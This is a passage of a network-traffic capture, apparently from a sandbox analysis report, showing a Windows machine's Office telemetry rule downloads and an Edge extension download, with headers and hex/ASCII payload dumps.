2024-10-31 02:04:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020426Z-16849878b78x6gn56mgecg60qc0000000an000000000mxwh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:26 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:26 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d5dcea80-601e-0050-0829-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020426Z-159b85dff8f7lrfphC1DFWfw0800000000mg00000000enmr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:26 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49805	142.250.186.33	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:27 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1mF6pQQaFxFIsJkbOhi_PogUD722qbKg2_wBvOLTsajKVetvpTzGzRkpT7XHdzpXcUzZE X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Wed, 30 Oct 2024 20:33:29 GMT Expires: Thu, 30 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 19858 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 02:04:27 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-10-31 02:04:27 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020427Z-16849878b78p8hrf1se7fucxk800000009p000000000ra5y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020427Z-16849878b78smng4k6nq15r6s40000000a8g00000000vpnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:27 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020427Z-16849878b78wv88bk51myq5vxc000000097g000000003v4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
